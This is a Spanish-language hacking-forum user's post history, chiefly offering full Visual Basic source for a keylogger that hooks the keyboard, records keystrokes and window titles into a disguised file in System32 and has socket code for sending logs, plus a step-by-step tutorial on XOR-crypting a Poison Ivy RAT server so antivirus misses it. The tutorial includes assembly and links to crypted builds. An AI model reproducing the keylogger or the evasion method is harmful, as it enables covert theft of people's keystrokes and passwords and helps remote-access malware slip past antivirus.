Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - [Zero]

#551
Con hooks es mejor, con un timer siembre se puede escapar alguna tecla o capturar la misma tecla demasiadas veces, en cambio se capturas los mensajes con un hook no se escapa nada  ;D. Hace tiempo (cuando programaba en VB  :xD) quise hacer un keylogger y encontré un ejemplo el cual modifiqué un poco, no recuerdo de donde lo saqué:

Código (vb) [Seleccionar]
Option Explicit

Private Type KBDLLHOOKSTRUCT
code As Long
End Type

Public Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Public Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32" () As Long

Private Const WH_KEYBOARD_LL = 13&
Private Const WM_KEYDOWN = &H100
Private Const VK_SHIFT = &H10
Private Const VK_CAPITAL = &H14
Private Const READ_CONTROL As Long = &H20000
Private Const STANDARD_RIGHTS_WRITE As Long = (READ_CONTROL)
Private Const KEY_SET_VALUE As Long = &H2
Private Const KEY_CREATE_SUB_KEY As Long = &H4
Private Const SYNCHRONIZE As Long = &H100000
Private Const KEY_WRITE As Long = ((STANDARD_RIGHTS_WRITE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY) And (Not SYNCHRONIZE))
Private Const HKEY_LOCAL_MACHINE As Long = &H80000002
Private Const REG_SZ As Long = 1

Dim hook As Long
Dim titulo As String
Dim ultima As String
Dim strInfo As String
Dim ruta As String
Dim handle As Long, ln As Long
Dim i As Integer
Dim hookKey As KBDLLHOOKSTRUCT
Dim intercept As Boolean
Dim keyCode As Long
Dim tec As String
Public socketconnected As Boolean


Public Function KeyboardProc(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

If wParam = WM_KEYDOWN Then
    Call CopyMemory(hookKey, ByVal lParam, Len(hookKey))
    keyCode = hookKey.code

    Select Case keyCode
        Case 8
            tec = tec & "{BACK}"
        Case 9
            tec = tec & "{TAB}"
        Case 17
            tec = tec & "{CTRL}"
        Case 18
            tec = tec & "{ALT}"
        Case 32
            tec = tec & " "
        Case 35
            tec = tec & "{END}"
        Case 36
            tec = tec & "{HOME}"
        Case 46
            tec = tec & "{DEL}"
        Case 91
            tec = tec & "{LWIN}"
        Case 92
            tec = tec & "{RWIN}"
        Case 96
            tec = tec & "0"
        Case 97
            tec = tec & "1"
        Case 98
            tec = tec & "2"
        Case 99
            tec = tec & "3"
        Case 100
            tec = tec & "4"
        Case 101
            tec = tec & "5"
        Case 102
            tec = tec & "6"
        Case 103
            tec = tec & "7"
        Case 104
            tec = tec & "8"
        Case 105
            tec = tec & "9"
        Case 106
            tec = tec & "*"
        Case 107
            tec = tec & "+"
        Case 109
            tec = tec & "-"
        Case 110
            tec = tec & "."
        Case 111
            tec = tec & "/"
        Case 112
            tec = tec & "{F1}"
        Case 113
            tec = tec & "{F2}"
        Case 114
            tec = tec & "{F3}"
        Case 115
            tec = tec & "{F4}"
        Case 116
            tec = tec & "{F5}"
        Case 117
            tec = tec & "{F6}"
        Case 118
            tec = tec & "{F7}"
        Case 119
            tec = tec & "{F8}"
        Case 120
            tec = tec & "{F9}"
        Case 121
            tec = tec & "{F10}"
        Case 122
            tec = tec & "{F11}"
        Case 123
            tec = tec & "{F12}"
        Case 186
            tec = tec & ";"
        Case 187
            tec = tec & "="
        Case 188
            tec = tec & ","
        Case 189
            tec = tec & "-"
        Case 190
            tec = tec & "."
        Case 191
            tec = tec & "/"
        Case 192
            tec = tec & " "
        Case 219
            tec = tec & "["
        Case 220
            tec = tec & "\"
        Case 221
            tec = tec & "["
        Case 222
            tec = tec & "'"
    End Select

    If (keyCode >= 48 And keyCode <= 57) Or (keyCode >= 65 And keyCode <= 90) Then
        If GetAsyncKeyState(VK_SHIFT) < 0 Then
            If GetKeyState(VK_CAPITAL) > 0 Then
                tec = tec & LCase(Chr(keyCode))
            Else
            tec = tec & UCase(Chr(keyCode))
            End If
        Else
            If GetKeyState(VK_CAPITAL) > 0 Then
                tec = tec & UCase(Chr(keyCode))
            Else
                tec = tec & LCase(Chr(keyCode))
            End If
       
        End If
       
    ElseIf keyCode = 13 Then
        tec = tec & vbNewLine
    End If
End If

KeyboardProc = CallNextHookEx(hook, ncode, wParam, lParam)

End Function

Public Function KeyboardHook()
hook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KeyboardProc, App.hInstance, 0&)
End Function

Public Function Unhook()
Call UnhookWindowsHookEx(hook)
hook = 0
Unhook = 1
End Function

Public Function Capturar()
ruta = System32 & "\backup32.dat"

Open ruta For Input As #1
Dim Datos As String
Get #1, , Datos
Close #1

Dim myTimer
myTimer = SetTimer(0, 0, 1, AddressOf TimerProc)
Call KeyboardHook
End Function

Private Sub TimerProc(ByVal hwnd As Long, ByVal lMsg As Long, ByVal lTimerID As Long, ByVal lTimer As Long)
ultima = titulo
handle = GetForegroundWindow
ln = GetWindowTextLength(handle)
titulo = String(ln, Chr$(0))
GetWindowText handle, titulo, ln + 1

If titulo <> ultima And ultima <> "" And tec <> "" Then
    GuardarDatos (tec)
    tec = ""
End If

End Sub

Private Function GuardarDatos(tec As String)
If socketconnected = True Then

    'Open ruta For Input As #1
    'Dim Datos As String
    'Datos = Space(LOF(1))
    'Get #1, , Datos
    'Close #1
    'If Datos <> "" Then
    'Envia "DatKey|" + Datos
    'End If
    'Envia "DatKey|" + "[+]" + "[" + Date$ + "]" + "[" + Time$ + "]" + ultima + ":" + vbNewLine + tec
Else
    Open ruta For Append As #1
    Print #1, "[+]" + "[" + Date$ + "]" + "[" + Time$ + "]" + ultima + ":" + vbNewLine + tec
    Close #1
End If
End Function

Public Function NoCapturar()
Unhook
hook = 0
End Function


Es un módulo muy viejo, seguro no es ejemplar pero bueno  :xD.

Karcrack creo que tambien hiciera un tutorial sobre un keylogger mediante hooks no se donde.

Saludos
#552
Jeje, está bueno pero se puede optimizar  :P. Por ejemplo, para las teclas de letras a-z puedes usar un bucle for y sacar la letra a partir del vKey (creo que coincidía con el valor ascii de la tecla, ya no recuerdo bien  :-\) y para las teclas numéricas 0-9 igual. Además, luego si quieres hacer que distinga entre mayúsculas en minúsculas, usando GetKeyState, bastaría con hacer una comprobación dentro del for, sin tener que añadir mas casos al select. En lo único que tend´rias que utilizar tantos casos es para las teclas de los símbolos como !"·$.

Espero que te sirva de algo  :P
#553
Cita de: LixKeÜ en  7 Agosto 2009, 14:54 PM
muy bueno me gustaría aplicar esto ala api del winsock  :rolleyes: ever si me sale algo :D

Googleando puedes encontrar código del MsnNightmare de Mazard que hace hook a send y recv en C  ;D.

Saludos  ;)
#554
Los plugins para firefox se programan usando XUL y javascript, en mi experiencia personal no me gusta demasiado  :-\. Mejor algo tipo Tweedeck  :laugh:.

Saludos
#555
Bravo amigo  ;-). Muy bueno, si señor.

Lo del push ret que te dije no es buena idea, porque muchas apis si pisas 5 bytes (con un jmp) no cortas instrucciones en cambio con el push ret ya pisas un byte de más (en la mayoría de apis). Con el jmp ya queda clavado  y luego si quieres crear el buffer para llamar a la api original no tienes que copiar tantos bytes.

Saludos  ;-)
#556
Claro, podéis ponerlo donde queráis poniendo los créditos oportunos  ;).

Gracias a todos  :).
#557
Bueno, estuve metiendole una cifrado más fuerte al server, le añadí RC4 a parte del xor que ya tenía, lo subo para quien quiera ver cómo lo he hecho  :P.

Descargar Server RC4

Tambien descubrí que ni así se queda fud, y es en la otra sección, la que no ciframos, aparte de la IAT están las strings y la parte de configuración de server  :xD. Para la segunda parte encriptaremos eso también  ;).

Saludos
#558
Hombre gracias  ;D.

Cita de: Karcrack en 30 Julio 2009, 21:54 PM
Muy buenooooooooo!

Para acabar de hacerlo FUD solo haria falta cambiar por un ROT1 :xD :xD Eso creo... no lo he provado...

Despues de eso vienen los problemas con la heuristica y la proteccion proactiva :xD

;-) ;-) ;-)


Si, o un RC4, ese ejecutable en concreto creo que tiene espacio de sobra, sinó agrandas un poco la sección ejecutable y sinó creas otra sección y punto.

Si me animo un día sacaré la 2ª parte, en la que explicaré como cifrar la IAT y hacer un loader en asm para cargar las estructuras con su valor (un problema que tienen muchos crypters según he visto).

Saludos  :P
#559
Taller: cifrando Malware a Mano




Objetivos de éste taller

Debido a la avalancha de crypters que últiamente salen a la luz y que, en mi opinión, el 90% de ellos (principalmente en VB) se hacen utilizando código de terceros sin entender realmente que es lo que programan, decidí hacer éste taller para mostrar el modo de funcionamiento de un crypter, de modo que cualquier persona con interés sea capaz a entenderlo. Al finalizar el talller seremos capaces de entender que es lo que hacen los crypters para burlar a los antivirus, y seremos capaces de hacer éste proceso de forma manual, así como, de tener conocimientos de programación y a partir de éste taller, tendremos los conocimientos necesarios para programar un crypter sabiendo que queremos conseguir realmente.






Herramientas Necesarias
  • Olly Debug Descargar
  • Un Editor Hexadecimal Descargar HxD
  • Un Editor del PE Descargar LordPE
  • Poison Ivy v2.1.4 Private Descargar






    Conocimientos recomendados
  • Nociones básicas sobre ASM. Taller ASM por E0N
  • Conocimientos sobre el Formato PE. Taller Formato PE por Ferchu
  • Familiarización con el uso de Olly y las otras herramientas.




    ¿Qué vamos a cifrar?

    Bueno, lo primero que haremos será abrir el server del PI con un el Editor Hexadecimal y el Editor del PE:


    Vemos que el ejecutable tiene 2 secciones, la .text y la .data. En éste caso vamos a cifrar solamente la sección .text que es la que contiene el código ejecutable. La .data la vamos a dejar tal y como está, porque si nos vamos al editor hexadecimal y nos vamos a 0x1A00 y miramos lo que hay más abajo, vemos que ahí se encuentra la IAT, y cifrar eso nos complicaría bastante las cosas, tal vez para otra entrega, en ésta vamos a dejar esa sección tal y como está  :P:


    Entonces, lo que vamos a cifrar es lo que va desde 0x200 a 0x1A00 viendolo con el editor hexadecimal.

    ¿Cómo lo vamos a cifrar?

    Lo haremos de una forma sencilla. Encriptaremos el archivo en disco y añadiremos un poco de código en un espacio libre, y que haremos que sea el primero en ejecutarse, de modo que cuando el archivo se cargue en memoria, éste código se encargue de descifrar lo que habíamos cifrado de la sección .text y luego salte a donde el programa comenzaba originalmente. Éste código lo vamos a poner al final de la sección ejecutable, debido a que suele haber espacio libre ahí debido al alineamiento de las secciones.

       
    Ejecutable original y ejecutable cifrado respectivamente

    Preparando la sección .text

    Vamos a buscar el espacio libre al final de la sección ejecutable y lo vamos a rellenar de NOP's usando el Editor Hexadecimal. Luego tambien vamos a cambiar los Flags del apartado Characteristics utilizando el LordPE.

    Para buscar el espacio libre, nos vamos al LordPE y vemos que la sección .text emipeza en 0x200 (ROffset=0x200) y ocupa 0x1800. 0x200 y 0x1800 son 0x1A00, cojemos el HxD y nos vamos a esa dirección, es justo el comienzo de la sección .data y el final de la .text. Vemos que para arriba tenemos 0x00's, ése va a ser nuestro hueco, seleccionamos los 0's (dejando unos bytes de margen por si las moscas), y lo rellenamos de Nop's (NOP=0x90):


    Y listo, ya sabemos donde podeomos poner nuestro código desencriptador, a partir de 0x1890 para adelante (anotamos en algún sitio ese valor), ahora otro punto. Para descifrar la sección .text vamos a necesitar que ésta tenga permisos de lectura y escritura (de ejecución ya tiene puesto que es la sección de código), así que abrimos el server con el LordPE, nos vamos a Sections, seleccionamos la sección .text, click derecho->Edti Section Header, damos click en el botón situado en el apartado flags y marcamos la opción "Writeable" ("Readable" ya está), damos "OK" y guardamos todos los cambios.



    Insertando la rutina encriptadora/desencriptadora

    Bueno, el siguiente código en ASM desencrypta/cifra un array de bytes usando un Xor:


    ;---------------------------------------------------------------
    ;Taller Encriptacion Malware a Mano: Código Desencriptación
    ;---------------------------------------------------------------
    ;Movemos a eax la dirección de inicio del código cifrado
    mov eax,402000h
    ;Movemos a ebx la dirección de fin del código cifrado
    mov ebx,403000h
    ;Movemos a ecx la dir del Entry Point Original
    mov ecx,401038h
    xor byte ptr ds:[eax],0FFh ;Hacemos el xor al byte con la clave 0FF (se puede cambiar por otro byte)
    inc eax                    ;Nos desplazamos al siguiente byte
    cmp eax,ebx                ;Comprobamos si es el último
    jne 401234h                ;Si no lo es, continuamos con el siguiente
    ret                        ;Salimos del programa (cambiar ret por nop despues de cifrar)
    jmp ecx                    ;Si lo es, saltamos el Entry Point Original


    Eso es lo que tenemos que instar en el espacio libre que habíamos encontrado (con unas pequeñas modificaciones). Para eso, vamos al OllyDbg y abrimos el server. Una vez cargado el archivo, damos click derecho, View->Executable File.


    Ahora nos vamos a la dirección (CTRL+G) dónde hemos empezado a poner los Nop's, 0x1890 (el valor que dije que recordarais). Luego damos click derecho sobre el primer Nop y sellecionamos View Image in Disassembler, así nos situará en donde se cargaron lso Nop's en memoria.


    Ahí vamos a poner nuestro código, vamos dando doble click en los Nops y vamos introduciendo el código aterior línea a lína hasta que nos quede así:


    Pero ahí hay que arraglar cosas, las direcciones 0x401000, 0x402000, 0x401038 y 0x4001234 no son correctas para éste ejecutable (y 99.999% seguro que para ningun otro que encontremos  ;D), así que hay que cambiarlas por sus valores correctos.

    Vamos por la primera, el 402000, ésta es la dirección VIRTUAL donde de donde queremos que empiece a cifrar/descifrar, en nuestro caso, queremos que empiece a cifrar/des en el inicio de la primera sección, que viendo como el editor hexadecimal era 0x200, pero NO, esa es la dirección FÍSICA, al cargarse en memoria esa dirección cambia por algo de la forma 40XXXX (corrientemente). Vale, y como la obtenemos? Pues abrimos el LordPE, cargamos el ejecutable, y le damos para ver las secciones:


    Ahora ésto es una regla general para todos los casos, para obtener una dirección VIRTUAL a partir de la FÍSICA de una sección hacemos: (DIR FÍSICA-ROFFSET)+VOffset+ImageBase:
       (0x200-0x200)+0x1000+0x400000=401000.

    Ésa es la dirección que tenemos que poner en el primer valor. Vamos con el segundo, el 403000, ése es el valor VIRTUAL donde termina el código que queremos cifrar. En éste caso, el código que queremos cifrar termina donde empezamos a poner los nops, en 0x1890 DIRECCIÓN FÍSICA, así que hacemos (DIR FÍSICA-ROFFSET)+VOffset+ImageBase:
        (0x1890-0x200)+0x1000+0x400000=0x402690 (Utilizad la calculadora de windows en modo hex  :P).

    Ése es el valor que tenemos que poner en el 2º valor, vamos con el 3º, el 401028, éste es más fácil, ahí hay que poner el AddressOfEntryPoint en memoria del ejecutable, para saberlo abrimos el ejecutable con el LordPE:



    Cogemos ese valor, se sumamos el ImageBase (0x400000+0x2104) y nos da 402104, ese es nuestro 3º valor, el punto a donde debemos de saltar luego de descifrar los datos.

    Venga, 4º y último valor que tenemos que cambiar, el 401234, éste también es fácil, la dirección a la que tiene que saltar el bucle si no llegamos al final. Volvemos al olly, donde habíamos introducido la rutina en ASM, y el valor que tenemos que introducir es la dirección donde pusimos el xor byte ptr ds:[eax],0FFh, en éste caso 0x40269F:


    Y listo, nuestro código encriptador/desencriptador ya funcionaría, tal cual lo copiamos se encargaría de cifrar la sección .text. Debería de quedar así:


    Así que en el olly damos click derecho "Copy to Executable/All modifications" y guardamos el archivo en disco (click drcho, backuup->save data to file).

    Ahora tenemos que cambiar el Entry Point por la dirección donde empieza nuestro código en memoria: 2690 (Sin el imagebase):


    Listo, ahora la rutina encriptadora/desencriptadora será lo primero que se ejecute al iniciar el archivo.


    cifrando, descifrando

    Ahora que ya tenemos la rutina encriptadora/desencriptadora en su sitio, vamos a usarla para que nos encripte lo la sección .text, para ésto abrirmos nuevamente el server con el Olly, y ponemos un breakpoint en el ret del código de la rutina desencriptadora. Una vez hecho ésto, pulsamos F9 y el programa empezará a ejecutarse hasta que parará en el ret. En éste momento ya tenemos el código cifrado, pero en memoria, así que vamos a copiarlo al portapapeles. Seleccionamos con el ratón desde 0x401000 hasta 0x401890 (no incluído)(el trozo que ciframos) y hacemos click derecho/bianry/binary copy:


    Ahora cerramos el olly, y abrimos el archivo nuevamente con el HxD (mientras haces ésto no copies ni pegues nada que te cargas lo que hay en el portapapeles  :P). Una vez abierto seleccionamos los bytes desde 0x200 hasta 0x1890 (no incluído) y hacemos click derecho/pegar escribiendo y guardamos los cambios.

    Ahora ya tenemos el código cifrado en disco, entonces ahora lo que tiene que hacer la rutina encriptadora/desencriptadora es descifrar el código y luego saltar al Entry Point Original, para ésto solo tenemos que cambiar el ret del código por un Nop con Olly:


    Guardamos los cambios en disco y LISTO!! ya tenemso nuestro server cifrado con "nuestro crypter manual  ;D":


    Despedida
    Bueno, pues espero que hayáis aprendido algo de mis palabras y del método, sobre todos los que no sabían lo que hacer un crypter, y los que sabían, pues seguro algo aprendieron tambien  ;).

    Que lo disfrutéis! Y ya sabéis, cualquier duda  ;).

    Subo también el server modificado después de todo el proceso para que os ayude a encontrar posibles fallos que tengáis  :P.  Descargar

    Saludos

    PD: Algo que se me olvidó mecionar, utilizando éste método no es necesario inyectar nada en ningún proceso, por lo nos evitamos problemas con heurísticas, y aumentamos 0byes el peso del archivo  :laugh:.

    Edito: Al final el server no quedó FUD, era que no subí lo que era, y es lo más normal ya que con un simple Xor no se pueden quitar todo así como así  :xD. De todas formas eso no importa demasiado, en ésta caso hay espacio de sobra para poner una cifrado mas difícil etc...  ;D.
#560
Sé quien va a hacer una tracucicón  :silbar: :xD. Muy bueno cobein, me lo bajo para echarle un ojo  ;D.

Saludos